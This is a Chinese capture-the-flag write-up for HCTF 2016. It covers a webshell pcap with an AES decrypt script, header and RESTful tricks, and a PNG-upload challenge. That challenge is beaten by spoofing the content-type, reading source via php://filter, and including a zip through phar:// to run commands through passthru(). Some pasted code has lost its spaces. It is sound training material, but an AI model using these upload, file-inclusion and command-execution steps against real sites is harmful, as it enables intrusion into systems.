2016hctf writeup

MISC杂项签到

http://139.224.54.27/webco1a/+_+.pcapng

用wireshark打开流量包,追踪TCP流,发现是一个webshell的流量,看到webshell控制端查看了远程服务器上的两个关键文件:function.py和flag

cat function.py:

#!/usr/bin/env python

# coding:utf-8

__author__ = 'Aklis'

 

from Crypto import Random

fromCrypto.Cipher import AES

 

import sys

import base64

 

 

def decrypt(encrypted, passphrase):

  IV = encrypted[:16]

aes = AES.new(passphrase, AES.MODE_CBC, IV)

returnaes.decrypt(encrypted[16:])

 

 

def encrypt(message, passphrase):

  IV = message[:16]

length = 16

count = len(message)

padding = length - (count % length)

message = message + '\0' * padding

aes = AES.new(passphrase, AES.MODE_CBC, IV)

returnaes.encrypt(message)

 

 

IV = 'YUFHJKVWEASDGQDH'

 

message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'

 

 

printlen(message)

 

example = encrypt(message, 'Qq4wdrhhyEWe4qBF')

print example

example = decrypt(example, 'Qq4wdrhhyEWe4qBF')

print example


 

cat flag:

mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA==

flag明显是个base64编码后的字符串,将其解码后再用function.py和decrypt函数解密:

运行得到flag

 

Web2099年的flag

由ios99想到改user-agent,抓包改一下

 

WebRESTFUL

先用PUT方法传个参

查了一下RESTful,发现是一种web软件架构,是一种分层结构

http://www.ruanyifeng.com/blog/2011/09/restful

改个包,flag出来了

 

MISC gogogo

下载下来,发现是个.nes的红白机文件,用FcEuX打开,看到了经典的魂斗罗

按照http://wenku.baidu.com/link?url=1i4slMmKov6LncwLAwa-VmJmAwRwIkgcK-xzls2uOnuJzS7wrsG_mjDdVOVbQzG0Q5p6NmRzcd-vBIbpuWihXEdoiQWs6dsc03aggjzd3Ty

的来修改一下有无限命和不坏金身,打穿就看到了:

 

Web 兵者多诡

http://pics.hctf.io/home.php?key=hduisa123

文件上传页面猜测是上传漏洞,页面说明只能上传png文件

尝试了几次后发现验证方式是对content-type验证,为image/png即可,但是上传后的文件会被重新命名并加上.png后缀。

发现允许使用php伪协议:

http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=upload

http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=home

http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=function

http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=show

把源码扒下来,base64解码,

home.php

<?php

error_reporting(0);

 

@session_start();

posix_setuid(1000);

 

$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];

if(preg_match('/\.\./',$fp))

{

     die('No No No!');

}

if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))

{

     die();

}

?>

<!DOCTYPE html>

<html>

     <head>

              <title></title>

              <metacharset="utf-8">

              <linkhref="css/bootstrap.min.css" rel="stylesheet">

              <linkhref="css/jumbotron-narrow.css" rel="stylesheet">

     </head>

     <body>

              <divclass="container">

                       <divclass="header clearfix">

                                 <nav>

                                          <ulclass="navnav-pills pull-right">

                                                   <lirole="presentation" class="active"><ahref="home.php?key=hduisa123">Home</a></li>

                                          </ul>

                                 </nav>

                                 <h3class="text-muted">pictures</h3>

                       </div>

 

                       <divclass="jumbotron">

                                 <h1>PicturesStorage</h1>

                                 <pclass="lead">在这里上传您的图片,我们将为您保存</p>

                                 <formaction="?fp=upload" method="POST" id="form"enctype="multipart/form-data">

                                          <inputtype="file" id="image" name="image"class="btnbtn-lgbtn-success" style="margin-left: auto;margin-right: auto;">

                                          <br>

                                          <inputtype="submit" id="submit" name="submit"class="btnbtn-lgbtn-success" role="button" value="上传图片">

                                 </form>

                       </div>

              </div>

     </body>

</html>

<?php

if($fp !== 'fail')

{

     if(!(include($fp.'.php')))

     {

              ?>

              <divclass="alert alert-danger" role="alert">没有此页面</div>

              <?php

                       exit;

     }

}

?>

 

upload.php

<?php

include 'function.php';

if(isset($_POST['submit']) &&!empty($_FILES['image']['tmp_name']))

{  

     $name =$_FILES['image']['tmp_name'];

     $type =$_FILES['image']['type'];

     $size =$_FILES['image']['size'];

 

     if(!is_uploaded_file($name))

     {

              ?>

              <divclass="alert alert-danger" role="alert">图片上传失败,请重新上传</div>

              <?php

                       exit;

     }       

 

     if($type !== 'image/png')

     {

              ?>

              <divclass="alert alert-danger" role="alert">只能上传PNG图片</div>

              <?php

                       exit;

     }      

 

     if($size > 10240)

     {

              ?>

              <div class="alert alert-danger"role="alert">图片大小超过10KB</div>

              <?php

                       exit;

     }

 

     $imagekey =create_imagekey();

     move_uploaded_file($name,"uploads/$imagekey.png");

 

     echo"<script>location.href='?fp=show&imagekey=$imagekey'</script>";

}

?>

 

show.php

<?php

$imagekey = $_GET['imagekey'];

if(empty($imagekey))

{

     echo"<script>location.href='home.php'</script>";

     exit;

}

 

?>

<div class="alert alert-success"role="alert">

     上传成功,<ahref="uploads/<?php echo $imagekey; ?>.png"class="alert-link">点此查看</a>

</div>

 

 

function.php

<?php

     functioncreate_imagekey()

     {

              returnsha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() .mt_rand());

     }

?>
 

发现home.php中存在本地文件包含:if(!(include($fp.’.php’))),fp参数可控制,然后会在文件名后加一个.php进行文件包含,因此我们可以上传我们需要包含的文件。但是直接包含肯定是不行的,需要构造文件名。

查询PHP手册发现PHP支持如下的Wrappers:

 

    file:// — Accessing localfilesystem

    http:// — AccessingHTTP(s) URLs

ftp:// — Accessing FTP(s) URLs

php:// — Accessing various I/O streams

zlib:// — Compression Streams

data:// — Data (RFC 2397)

glob:// — Find pathnames matching pattern

phar:// — PHP Archive

    ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — Audio streams

expect:// — Process Interaction Streams

测试phar://可用,将php文件打包在zip文件中,再构造路径访问。

测试发现如果webshell中有提交参数的变量会被过滤,如$_POST,$_REQUEST等,而且eval函数被禁用了,因此使用passthru函数执行系统命令。

写一个2.php文件,打包在zip压缩包中上传,上传时使用burpsuite的截断功能修改content-type。

查看当前目录下文件:<?phppassthru(‘ls–alh’); ?>

上传后访问文件名为24c38706822f22274de3d8faabb5b9601d922d85.png,访问

http://pics.hctf.io/home.php?fp=phar://uploads/24c38706822f22274de3d8faabb5b9601d922d85.png/2

没什么特别的

查看工作目录<?phppassthru(‘pwd’);?>

查看上层目录

<?php echo passthru('ls /var/www');?>


有个php文件,查看一下

<?php echo passthru('cat /var/www/Th1s_1s_F1a9.php');?>

查看页面源代码


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章